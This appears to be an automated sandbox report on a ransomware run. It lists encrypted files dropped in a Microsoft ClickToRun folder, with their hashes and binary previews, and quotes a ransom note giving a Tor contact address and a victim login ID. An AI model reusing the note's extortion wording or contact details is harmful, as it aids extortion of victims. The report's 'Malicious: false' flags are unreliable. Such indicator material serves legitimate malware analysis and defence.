
Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1627970
Entropy (8bit):	6.982098594373108
Encrypted:	false
SSDEEP:	24576:eb9LU1pX2aOQpcF9okFh8H8mvuBYxkYEf1L/nuCQXDdGLelfCiB:eb94pGa7cfomh8HDWBwmZPuxDdGa1B
MD5:	3B66B37B850BF621FEC18F26EEC0A3D6
SHA1:	CE6A5F6128256C44B285AE0FFCAD8FF15773304B
SHA-256:	AA552F91CE3D0BDCEE9A1EE2C297F1303C395865CB2D35AC9711FA9F56C66894
SHA-512:	6CF18B3EC985F78E97173A50A7F2F7AC1D64D16983FD1F430B8653C93621E38F41454BA8F80E06E881236F1AAAE5D0FD9562172A12FEBBFCC531CEFD98B8CAB3
Malicious:	false
Preview:	q%...+.'.R.n..%..........R..c...R3O....v>.e_......n[...F..........!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~....'0l......`..6...T.Kp_....S.~N1........v>.e...\|3.....}F........"..................$.........@....................................Q.....`.......... ......................................l...'."...R.%...Nr..n..Z..c...}3OK...">.e_......n[..}F..Xt..(... s..8............t...............................text...6........................... ..`.rdata..........................<...+.g.6...r.%L.........RS.c...R3O....6>.q...l..."...}.......................@..@.rsrc.... ...p...0...P..............@..@.reloc..h/.......0..................@..B........................<....+.'.R.r.%..........R..c...R3O....v>.e_......n[..}F..................................................................................................................................<....+.'.R.r.%..........R..c...R3O

C:\Program Files\Common Files\microsoft shared\ClickToRun\c2r32werhandler.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	132842
Entropy (8bit):	7.296510298127378
Encrypted:	false
SSDEEP:	3072:6haEgO0x9rZtkeV2NYlW2we8GIlIvXtBSEa27U:6AEk9lGeu3e8GIlQG8U
MD5:	EF4D55FA74BAE9E9E251D1F9B38A737F
SHA1:	D006BA2984F84AFBCE44023685932650CCA6D9A9
SHA-256:	7C9BC80EB6028DD73265D617948FA9B40EF0FB815BCB998B6D801C60BDE1143B
SHA-512:	7A1798DCD5085450BEA30E8B6EBE41E33F09548C63A1A8578035D602EDD75DFAA475B07649818859E221FA7399B688AABB0C59919F3755676C42B8595185F15F
Malicious:	false
Preview:	)P..6&.q.J........Z...l/.I^..{..F.N`P..uu..DS^..:-rw.v.>i..u.........!..L.!This program cannot be run in DOS mode....$.......(. .l.N.l.N.l.N...M.b.N...K..N...J.z.N...J.c.N...M.z.N...K.+.N....DZ.......>.J!....!2..%...3....C...........^..:-rw.v.>i..u.........PE..L...%;.d...........!... .............;....... ............................................@...........................Y..&.q...?....Z...,/.I^..{..G?.`P..tuv.DS..:.rw.v.>i..u.........l...........@...............@.......@....................text............................... ..`.rdata..................d.X.5&.q.J..k?.....;....9.I^..{..F..aP..uu..DS^..:mrw.X.[.j.u.............................@..B................................................................................................d.X.5&.q.J..+?....Z...,/.I^..{..F.N`P..uu..DS^..:-rw.v.>i..u.................................................................................................................................d.X.5&.q.J..+?....Z...,/.I^..{..F*.N`P

C:\Program Files\Common Files\microsoft shared\ClickToRun\c2r32werhandler.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	132842
Entropy (8bit):	7.296510298127378
Encrypted:	false
SSDEEP:	3072:6haEgO0x9rZtkeV2NYlW2we8GIlIvXtBSEa27U:6AEk9lGeu3e8GIlQG8U
MD5:	EF4D55FA74BAE9E9E251D1F9B38A737F
SHA1:	D006BA2984F84AFBCE44023685932650CCA6D9A9
SHA-256:	7C9BC80EB6028DD73265D617948FA9B40EF0FB815BCB998B6D801C60BDE1143B
SHA-512:	7A1798DCD5085450BEA30E8B6EBE41E33F09548C63A1A8578035D602EDD75DFAA475B07649818859E221FA7399B688AABB0C59919F3755676C42B8595185F15F
Malicious:	false
Preview:	)P..6&.q.J........Z...l/.I^..{..F.N`P..uu..DS^..:-rw.v.>i..u.........!..L.!This program cannot be run in DOS mode....$.......(. .l.N.l.N.l.N...M.b.N...K..N...J.z.N...J.c.N...M.z.N...K.+.N....DZ.......>.J!....!2..%...3....C...........^..:-rw.v.>i..u.........PE..L...%;.d...........!... .............;....... ............................................@...........................Y..&.q...?....Z...,/.I^..{..G?.`P..tuv.DS..:.rw.v.>i..u.........l...........@...............@.......@....................text............................... ..`.rdata..................d.X.5&.q.J..k?.....;....9.I^..{..F..aP..uu..DS^..:mrw.X.[.j.u.............................@..B................................................................................................d.X.5&.q.J..+?....Z...,/.I^..{..F.N`P..uu..DS^..:-rw.v.>i..u.................................................................................................................................d.X.5&.q.J..+?....Z...,/.I^..{..F*.N`P

C:\Program Files\Common Files\microsoft shared\ClickToRun\c2r64werhandler.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	182986
Entropy (8bit):	7.132811496103212
Encrypted:	false
SSDEEP:	3072:OQlb7zCc3d+q88R3M6dsh2ssu56kIREkiGu5dn9jibGm8aMY8lAbqAnbeVAPAEZJ:OQlb7zCc3d1X3MYscssgEEzznxxaMZl4
MD5:	CCB8A117E9D9210043DF74A184C7EC4E
SHA1:	8736DF4C87BCA092DBC7041D57D9D83EA68D9620
SHA-256:	A3024605229B6BCB531E4EB5A1654E8927206DD64D8DD3E3212FBFFC54F441D3
SHA-512:	F2878B77EDB7C978F756184EFD841446F8AA921E039D3832344DDD7D7F8441BE28200CDDE5943FE493CE5A6FD7072D5740AD93FEE885AF68EEE8D2FCFF2699FF
Malicious:	false
Preview:	)..ar. ....i0.\|R+.Z\..N.... ..T.t....?.8.?!..vtn.@`..TT.^..TX.........!..L.!This program cannot be run in DOS mode....$.......V.....y...y...y...z...y...\|.y...}...y.r.}...y.r.z...y.r.\|.X.y...`.Y..2.u.-I.[v_.."yX......#m.(....Q.W39{.tn.@`..TT.^..UX.........PE..d...G..d.........." ... .v...........P...............................................`....`A........................dI.aq. ...'.0. .)..\...... ..T.t....?...?...vt..@..TT2\..PX..L..T....................8..(.......@....................A..@....................text....t.......v.................. ..`.rdata.....aq.!..].7.1..R+.Z\....... .Xz......?...?!..vt`.@`.TT.^..UX.....@....pdata...............\..............@..@.didat.. ............r..............@..._RDATA..\............t..............@..@J+...q ....7v2..T+.Z*....... ..T.t...}.8.?!..vtn.@`..TT.^..UX.................................................................................................................................dY.aq. ...7.0..R+.Z\....... ..T.t....?

C:\Program Files\Common Files\microsoft shared\ClickToRun\c2r64werhandler.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	182986
Entropy (8bit):	7.132811496103212
Encrypted:	false
SSDEEP:	3072:OQlb7zCc3d+q88R3M6dsh2ssu56kIREkiGu5dn9jibGm8aMY8lAbqAnbeVAPAEZJ:OQlb7zCc3d1X3MYscssgEEzznxxaMZl4
MD5:	CCB8A117E9D9210043DF74A184C7EC4E
SHA1:	8736DF4C87BCA092DBC7041D57D9D83EA68D9620
SHA-256:	A3024605229B6BCB531E4EB5A1654E8927206DD64D8DD3E3212FBFFC54F441D3
SHA-512:	F2878B77EDB7C978F756184EFD841446F8AA921E039D3832344DDD7D7F8441BE28200CDDE5943FE493CE5A6FD7072D5740AD93FEE885AF68EEE8D2FCFF2699FF
Malicious:	false
Preview:	)..ar. ....i0.\|R+.Z\..N.... ..T.t....?.8.?!..vtn.@`..TT.^..TX.........!..L.!This program cannot be run in DOS mode....$.......V.....y...y...y...z...y...\|.y...}...y.r.}...y.r.z...y.r.\|.X.y...`.Y..2.u.-I.[v_.."yX......#m.(....Q.W39{.tn.@`..TT.^..UX.........PE..d...G..d.........." ... .v...........P...............................................`....`A........................dI.aq. ...'.0. .)..\...... ..T.t....?...?...vt..@..TT2\..PX..L..T....................8..(.......@....................A..@....................text....t.......v.................. ..`.rdata.....aq.!..].7.1..R+.Z\....... .Xz......?...?!..vt`.@`.TT.^..UX.....@....pdata...............\..............@..@.didat.. ............r..............@..._RDATA..\............t..............@..@J+...q ....7v2..T+.Z*....... ..T.t...}.8.?!..vtn.@`..TT.^..UX.................................................................................................................................dY.aq. ...7.0..R+.Z\....... ..T.t....?

C:\Program Files\Common Files\microsoft shared\ClickToRun\i640.cab.cat

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	7.562326615705272
Encrypted:	false
SSDEEP:	384:6Lq/8rXtD2iz2lanvys+AjG2xa1ToxP/B26mlQt9bOK/d3/VfAXIITC:6Lq0rl2iz2lEKsNjXx6kP59n3/VfEIGC
MD5:	95D9CA695BC616B1007033DB3B366AFB
SHA1:	AA5BE141D34B24AC6F94C2CCC9EA4F5531095A40
SHA-256:	D51600775EA73374C264194BD68FDB3F4C945DEFF6208460F0038B1FC8F53AB6
SHA-512:	82EF6FF8777FA7753A52D253DD17F6E417F7A442A808849932F12280F95DDAD8C048718028B0C6D708D27E900E88B44A7532DAA87AFC11E2D32D66B9D03F2B6E
Malicious:	false
Preview:	.cD7[D,>...n)uhX.-cC.\|$.......C.a.a2j.GH.4...Z8.p:h..0a.(}".@DW#0...+.....7....."..^..%O.c..?.JM..230928011850Z0...+.....7.....0.V.0....F.a[.E.....1...&1.0...+.....7...1...0... .j .~.{N....FZ/.Q.U....@....v.w.W......N.e.lUj5G...}p.G8._=...R.f..v.+.....7...0...........010...`.H.e....... .j .~.{N...&\|.r.W~.L.!.n.BU.._..0... .a...!]A........ZS>.w..G......Z1q0...+.....7...1.f...[G-..Mm,X,v........,.......H...jTk....."..\..V:`.u.W....p. .a...!]A........ZS>.w..G......Z0... .~...%T...QF.oa.3.~......C.\.. .1q0...+.....7...1...0]..+.....7...1O0M0...+.....7...0.....F...M6..Dj...?...Q.."...=....4Zb1..k$I .^.Z.......`XvZ.\5..t.W$lZ[.SV..B...(...=.....H..A".1q0...+.....7...1...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..W$lZ[.SV..B.......p....t.:6.C..W..... ...".ow..F..qep"&.f.f..Z8hk.T... ...S. .........]X...c.7nx.o...0.k....1q0...+.....7...1...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .........]..0w>.1....\|.Gh.._......8....:...I..:

C:\Program Files\Common Files\microsoft shared\ClickToRun\i640.cab.cat.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	7.562326615705272
Encrypted:	false
SSDEEP:	384:6Lq/8rXtD2iz2lanvys+AjG2xa1ToxP/B26mlQt9bOK/d3/VfAXIITC:6Lq0rl2iz2lEKsNjXx6kP59n3/VfEIGC
MD5:	95D9CA695BC616B1007033DB3B366AFB
SHA1:	AA5BE141D34B24AC6F94C2CCC9EA4F5531095A40
SHA-256:	D51600775EA73374C264194BD68FDB3F4C945DEFF6208460F0038B1FC8F53AB6
SHA-512:	82EF6FF8777FA7753A52D253DD17F6E417F7A442A808849932F12280F95DDAD8C048718028B0C6D708D27E900E88B44A7532DAA87AFC11E2D32D66B9D03F2B6E
Malicious:	false
Preview:	.cD7[D,>...n)uhX.-cC.\|$.......C.a.a2j.GH.4...Z8.p:h..0a.(}".@DW#0...+.....7....."..^..%O.c..?.JM..230928011850Z0...+.....7.....0.V.0....F.a[.E.....1...&1.0...+.....7...1...0... .j .~.{N....FZ/.Q.U....@....v.w.W......N.e.lUj5G...}p.G8._=...R.f..v.+.....7...0...........010...`.H.e....... .j .~.{N...&\|.r.W~.L.!.n.BU.._..0... .a...!]A........ZS>.w..G......Z1q0...+.....7...1.f...[G-..Mm,X,v........,.......H...jTk....."..\..V:`.u.W....p. .a...!]A........ZS>.w..G......Z0... .~...%T...QF.oa.3.~......C.\.. .1q0...+.....7...1...0]..+.....7...1O0M0...+.....7...0.....F...M6..Dj...?...Q.."...=....4Zb1..k$I .^.Z.......`XvZ.\5..t.W$lZ[.SV..B...(...=.....H..A".1q0...+.....7...1...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..W$lZ[.SV..B.......p....t.:6.C..W..... ...".ow..F..qep"&.f.f..Z8hk.T... ...S. .........]X...c.7nx.o...0.k....1q0...+.....7...1...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .........]..0w>.1....\|.Gh.._......8....:...I..:

C:\Program Files\Common Files\microsoft shared\ClickToRun\i640.hash

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	6.117655191810402
Encrypted:	false
SSDEEP:	6:b7WswuKMNarYDGJmlDZnKfkl+8lLBf4mRpCXQ63v/fWxcbthvQR:OhMNxDTNtKfk7lLLeXNv/OxILS
MD5:	926BE778D983883976AD97C98647BBD0
SHA1:	78A86CD85A2274EA5D8288CBB95C658C9B0060B4
SHA-256:	0C0E3C926E5981F52BAFC6CBF1617AFA7F9BC9F885B12D9E94861A083A01FDE5
SHA-512:	40170C13ADD410E932DB209F4030DA2993F20B75FDE6CEEB2486167A87D14D41ECEBC6DF0A828C248204B379518C26B4AEFF4C4EEAF8926A4FA71DFEDF525E06
Malicious:	false
Preview:	5Av.c...R..l....B..E..{..V}..f.R-....!...O..k....HD.T..~..z`7.....1.6...0...1.6.8.2.7...2.0.1.3.0.........u.O.1..@....9P).._.. '..$...?...0BTF.....V....Y+.m...M......{.gGL.h..G.mnS.......ZK.2^.<.S....v..]Z..v}.^..0@..=..N.)%B{*,.b.-.I....'$...]...R.j.HV....2,d.O....}..B<...-%.......q..2.......E...n.....................................................................................@.........29yp10v5m8k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\i640.hash.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	6.117655191810402
Encrypted:	false
SSDEEP:	6:b7WswuKMNarYDGJmlDZnKfkl+8lLBf4mRpCXQ63v/fWxcbthvQR:OhMNxDTNtKfk7lLLeXNv/OxILS
MD5:	926BE778D983883976AD97C98647BBD0
SHA1:	78A86CD85A2274EA5D8288CBB95C658C9B0060B4
SHA-256:	0C0E3C926E5981F52BAFC6CBF1617AFA7F9BC9F885B12D9E94861A083A01FDE5
SHA-512:	40170C13ADD410E932DB209F4030DA2993F20B75FDE6CEEB2486167A87D14D41ECEBC6DF0A828C248204B379518C26B4AEFF4C4EEAF8926A4FA71DFEDF525E06
Malicious:	false
Preview:	5Av.c...R..l....B..E..{..V}..f.R-....!...O..k....HD.T..~..z`7.....1.6...0...1.6.8.2.7...2.0.1.3.0.........u.O.1..@....9P).._.. '..$...?...0BTF.....V....Y+.m...M......{.gGL.h..G.mnS.......ZK.2^.<.S....v..]Z..v}.^..0@..=..N.)%B{*,.b.-.I....'$...]...R.j.HV....2,d.O....}..B<...-%.......q..2.......E...n.....................................................................................@.........29yp10v5m8k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\ClickToRun\inventory.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5415850
Entropy (8bit):	7.202741482404179
Encrypted:	false
SSDEEP:	98304:7yxCRbkbC/oiE6dpurWMvxlwW2PLeRaXMGM86WP:GxCRbKKobiUrWMTwDPLeaM86S
MD5:	612D4D3E804F55E2C3322980422B13C9
SHA1:	963A54B169D235657717D53D18FCE18CFA3E0DCB
SHA-256:	8461D1E53B04A612BA2EB6D1E8167EA295692F735C6AE6FF5B65D3BF8A29758D
SHA-512:	CC55229BEB71CE17F35CB6D01365CFF4029351202E2321B3764E1D1116F3960965F71E5E9590CF81846D1BBC77F26098CF475D5C2204A3D0EB9104D25C3B80C6
Malicious:	false
Preview:	.i..R........b..../..I..."r........B.f...#.y..}5..l.Y[y"..S..........!..L.!This program cannot be run in DOS mode....$...........N}.N}.N}.G.Y.X}....H}....F}....d}....K}....L}..<S%.w.A...Jp.\B...i.4PhP................t..6.V2aT....R%.T..9=+..O}.+.5.O}.N}].L}.+..O}.RichN}.........PE..d....!.e.........." ... ..5..".......74.....................................Vs.Q......(...a.?..I...."r........B.f...#.y..}5..\|.Y[M.^.....I......PR......PP. ....TR.pN...pR.....0LJ.T...................."I.(....g6.@.............5.@.....I......................text...].Q....R..+...a./..I...."r...s..r.6.f...:....}?..l$l[y"..c......@..@.data....U....N.......N.............@....pdata.. ....PP.......O.............@..@.didat.......@R......tQ.............@...xA..2...6...+...a./..3...."r..........fR.F........l..[y...c...............@..B................................................................................................................V3..Q.......+...a./..I...."r........B.f.

C:\Program Files\Common Files\microsoft shared\ClickToRun\inventory.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5415850
Entropy (8bit):	7.202741482404179
Encrypted:	false
SSDEEP:	98304:7yxCRbkbC/oiE6dpurWMvxlwW2PLeRaXMGM86WP:GxCRbKKobiUrWMTwDPLeaM86S
MD5:	612D4D3E804F55E2C3322980422B13C9
SHA1:	963A54B169D235657717D53D18FCE18CFA3E0DCB
SHA-256:	8461D1E53B04A612BA2EB6D1E8167EA295692F735C6AE6FF5B65D3BF8A29758D
SHA-512:	CC55229BEB71CE17F35CB6D01365CFF4029351202E2321B3764E1D1116F3960965F71E5E9590CF81846D1BBC77F26098CF475D5C2204A3D0EB9104D25C3B80C6
Malicious:	false
Preview:	.i..R........b..../..I..."r........B.f...#.y..}5..l.Y[y"..S..........!..L.!This program cannot be run in DOS mode....$...........N}.N}.N}.G.Y.X}....H}....F}....d}....K}....L}..<S%.w.A...Jp.\B...i.4PhP................t..6.V2aT....R%.T..9=+..O}.+.5.O}.N}].L}.+..O}.RichN}.........PE..d....!.e.........." ... ..5..".......74.....................................Vs.Q......(...a.?..I...."r........B.f...#.y..}5..\|.Y[M.^.....I......PR......PP. ....TR.pN...pR.....0LJ.T...................."I.(....g6.@.............5.@.....I......................text...].Q....R..+...a./..I...."r...s..r.6.f...:....}?..l$l[y"..c......@..@.data....U....N.......N.............@....pdata.. ....PP.......O.............@..@.didat.......@R......tQ.............@...xA..2...6...+...a./..3...."r..........fR.F........l..[y...c...............@..B................................................................................................................V3..Q.......+...a./..I...."r........B.f.

C:\Program Files\Common Files\microsoft shared\ClickToRun\manageability.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1507826
Entropy (8bit):	7.050602883049061
Encrypted:	false
SSDEEP:	24576:GjX9Gq9Q3bw+FSr11ZqT1hapnP0ZhzDciBen30JKxvqWzrHOLzhEGRVmS4AVXLKT:WX9E611yg8ZVNe3jCWzrHOLhRUh8XLgb
MD5:	F14437FE1ABA72909FB828EA252D8A0E
SHA1:	6323EB410E3C5026DA9BDBD150F501ED7003AB35
SHA-256:	DA06413B1E469AC56B139B96B2076B0E5EC02BCD62037787E066ABC9F148AF57
SHA-512:	641ADA7C824BF125502119ABB50D60F985D5E6D864F0B2C1CFB54A6AA5BEC3244C68B2BC25D41B4BB6409764EBF05426914CD75D914B7C608B7DA86FF9F88F15
Malicious:	false
Preview:	...:.....t.. bf.K...5.:^......m....6$SSC.h....AW...d;..R..........!..L.!This program cannot be run in DOS mode....$.......s...7.b.7.b.7.b.>..#.b.W.c.1.b.W.g...b.W.f.?.b.W.a.3.b..d.6.b.-..."...s.E/....'(. 0WYM..3.....,.H.`b.d.4..#.`.E.d....S.YQ.r6R...6.b.7...6.b.R.`.6.b.Rich7.b.................PE..d....m.d.........." ... .....................................................:.....4c....'t.[...5.zN......}....64SSC.h....QW....(.BS..t...\|........................N......<:..`F..T.......................(...p...@............@...............................text......:.:....{...bft.K...5.z^................USC.g....Ay...d;..S......@..@.data...Pv.......P...f..............@....pdata..............................@..@.didat..8............d..............@.....Hr....t...tft.K...#.z^......m.....V6?,.h....A....X;..%..............@..B..................................................................................................................:.....t...bft.K...5.z^......m....

C:\Program Files\Common Files\microsoft shared\ClickToRun\manageability.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1507826
Entropy (8bit):	7.050602883049061
Encrypted:	false
SSDEEP:	24576:GjX9Gq9Q3bw+FSr11ZqT1hapnP0ZhzDciBen30JKxvqWzrHOLzhEGRVmS4AVXLKT:WX9E611yg8ZVNe3jCWzrHOLhRUh8XLgb
MD5:	F14437FE1ABA72909FB828EA252D8A0E
SHA1:	6323EB410E3C5026DA9BDBD150F501ED7003AB35
SHA-256:	DA06413B1E469AC56B139B96B2076B0E5EC02BCD62037787E066ABC9F148AF57
SHA-512:	641ADA7C824BF125502119ABB50D60F985D5E6D864F0B2C1CFB54A6AA5BEC3244C68B2BC25D41B4BB6409764EBF05426914CD75D914B7C608B7DA86FF9F88F15
Malicious:	false
Preview:	...:.....t.. bf.K...5.:^......m....6$SSC.h....AW...d;..R..........!..L.!This program cannot be run in DOS mode....$.......s...7.b.7.b.7.b.>..#.b.W.c.1.b.W.g...b.W.f.?.b.W.a.3.b..d.6.b.-..."...s.E/....'(. 0WYM..3.....,.H.`b.d.4..#.`.E.d....S.YQ.r6R...6.b.7...6.b.R.`.6.b.Rich7.b.................PE..d....m.d.........." ... .....................................................:.....4c....'t.[...5.zN......}....64SSC.h....QW....(.BS..t...\|........................N......<:..`F..T.......................(...p...@............@...............................text......:.:....{...bft.K...5.z^................USC.g....Ay...d;..S......@..@.data...Pv.......P...f..............@....pdata..............................@..@.didat..8............d..............@.....Hr....t...tft.K...#.z^......m.....V6?,.h....A....X;..%..............@..B..................................................................................................................:.....t...bft.K...5.z^......m....

C:\Program Files\Common Files\microsoft shared\ClickToRun\msvcp120.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	660450
Entropy (8bit):	7.121390546643179
Encrypted:	false
SSDEEP:	12288:9K4C4Bj5wtaeOJO/n1cWUSPPn3ilpxUcz9HrmXcG3jHdEmw6:B02pSPPcUcz9HrmXcGTHdEk
MD5:	D668DD7702531D8027FC886A4C66725F
SHA1:	7923A50B8D8294AC954E1A4BCF93B3DB2ADEE8AE
SHA-256:	77688C8759AD5288D38E831F6C070C9A1606AD7FE612E71B7DC9A5495884DE61
SHA-512:	59410005828C22503757390CC40E004FE76EE76D3D0DB59693E2EA840F0EBAAB75D9F4FD539442C663A2C9B93A0767843E6E3CC0C8C48C4CB29B0E22B41D7FC8
Malicious:	false
Preview:	.c6.D.(.s..V..q...d.Z..e`.\|hv.y.../l.H..}zI......joI...Z.uP........!..L.!This program cannot be run in DOS mode....$.......Ca.=...n...n...n..)n...n...n...n.R?n...n..%n...n.R=n...n.R.n4..n.k....KF.!.~..D.g....Z~./2..nvB.....)l%&.s..N.......jo.....sP.aS.........." .....@...................................................`............`..........................................l..g..(.A.....qm..d.Y..%..\|.1.y.....R.H.Jwz...(....joI.....uP....................p............P...............................text....>.......@.................. ..`.rdata.......P.......D...9..G.(.s.....1C...qZ....\|h&.y../..H..}zI.......j.g..x.iuP.G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B.................9..G.(.s.....qm..d.Z..%`.\|hv.y.../l.H..}zI......joI.....uP.................................................................................................................................9..G.(.s.....qm..d.Z..%`.\|hv.y.../l.H

C:\Program Files\Common Files\microsoft shared\ClickToRun\msvcp120.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	660450
Entropy (8bit):	7.121390546643179
Encrypted:	false
SSDEEP:	12288:9K4C4Bj5wtaeOJO/n1cWUSPPn3ilpxUcz9HrmXcG3jHdEmw6:B02pSPPcUcz9HrmXcGTHdEk
MD5:	D668DD7702531D8027FC886A4C66725F
SHA1:	7923A50B8D8294AC954E1A4BCF93B3DB2ADEE8AE
SHA-256:	77688C8759AD5288D38E831F6C070C9A1606AD7FE612E71B7DC9A5495884DE61
SHA-512:	59410005828C22503757390CC40E004FE76EE76D3D0DB59693E2EA840F0EBAAB75D9F4FD539442C663A2C9B93A0767843E6E3CC0C8C48C4CB29B0E22B41D7FC8
Malicious:	false
Preview:	.c6.D.(.s..V..q...d.Z..e`.\|hv.y.../l.H..}zI......joI...Z.uP........!..L.!This program cannot be run in DOS mode....$.......Ca.=...n...n...n..)n...n...n...n.R?n...n..%n...n.R=n...n.R.n4..n.k....KF.!.~..D.g....Z~./2..nvB.....)l%&.s..N.......jo.....sP.aS.........." .....@...................................................`............`..........................................l..g..(.A.....qm..d.Y..%..\|.1.y.....R.H.Jwz...(....joI.....uP....................p............P...............................text....>.......@.................. ..`.rdata.......P.......D...9..G.(.s.....1C...qZ....\|h&.y../..H..}zI.......j.g..x.iuP.G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B.................9..G.(.s.....qm..d.Z..%`.\|hv.y.../l.H..}zI......joI.....uP.................................................................................................................................9..G.(.s.....qm..d.Z..%`.\|hv.y.../l.H

C:\Program Files\Common Files\microsoft shared\ClickToRun\msvcr120.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	963554
Entropy (8bit):	7.2920055109184725
Encrypted:	false
SSDEEP:	12288:yEOPlYac1H5EAg9qToC9jw3fo3ufDMLTsBvMhdIwI7xrIjcDr48ImDq:ytP6d1H5Q9zyjwPfDMLuMdI7SgUn0q
MD5:	F9F6A6512B8E521F238409DD09039674
SHA1:	0B1A4BB0954F082105C8AE36ED9E920F4C239EB2
SHA-256:	E86E8FA4F6E7120EAC500DF6DA8A9E2D474F30989B2E604DEA1EE521FECCFBD8
SHA-512:	08C1BA92D40BCC5E4E36A43117A41EE35F969E0D17920DF3C4BBDF5E508F3FBD090BD0E1CDA35EF0389EB447E534BEC4FB7969346544890068B5B4E0A484F357
Malicious:	false
Preview:	..aI.9".lK:.L.....3..y.2l&..9+.>;~./~^5....R.....W.P.Ov.9............!..L.!This program cannot be run in DOS mode....$........F=&^'Su^'Su^'Su..u]'Su^'Ru.'SuSu.u.%SuSu.uo'SuSu.uh'SuSu.u.'Su..~<..jW...O......jF.*. .E...x.>;~./~^5.....T....W.P.Ov.9..+......h...:.......)....................................................`.................................................@...(...LH.I..9".,E:....B..3..y.r.(..)+.N.t.3~^5....R.....W.P.Ov.9.....2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@b.=..9"..K: s..B..3..t.rl&..9+.>;~.o~^....OR.u..W.^.O..9.4..............@..@.rsrc................^..............@..@.reloc..8............b..............@..B................................L..I.9".lK: ...B..3..y.rl&..9+.>;~./~^5....R.....W.P.Ov.9....................................................................................................................................L..I.9".lK: ...B..3..y.rl&..9+.>;~./~^5

C:\Program Files\Common Files\microsoft shared\ClickToRun\msvcr120.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	963554
Entropy (8bit):	7.2920055109184725
Encrypted:	false
SSDEEP:	12288:yEOPlYac1H5EAg9qToC9jw3fo3ufDMLTsBvMhdIwI7xrIjcDr48ImDq:ytP6d1H5Q9zyjwPfDMLuMdI7SgUn0q
MD5:	F9F6A6512B8E521F238409DD09039674
SHA1:	0B1A4BB0954F082105C8AE36ED9E920F4C239EB2
SHA-256:	E86E8FA4F6E7120EAC500DF6DA8A9E2D474F30989B2E604DEA1EE521FECCFBD8
SHA-512:	08C1BA92D40BCC5E4E36A43117A41EE35F969E0D17920DF3C4BBDF5E508F3FBD090BD0E1CDA35EF0389EB447E534BEC4FB7969346544890068B5B4E0A484F357
Malicious:	false
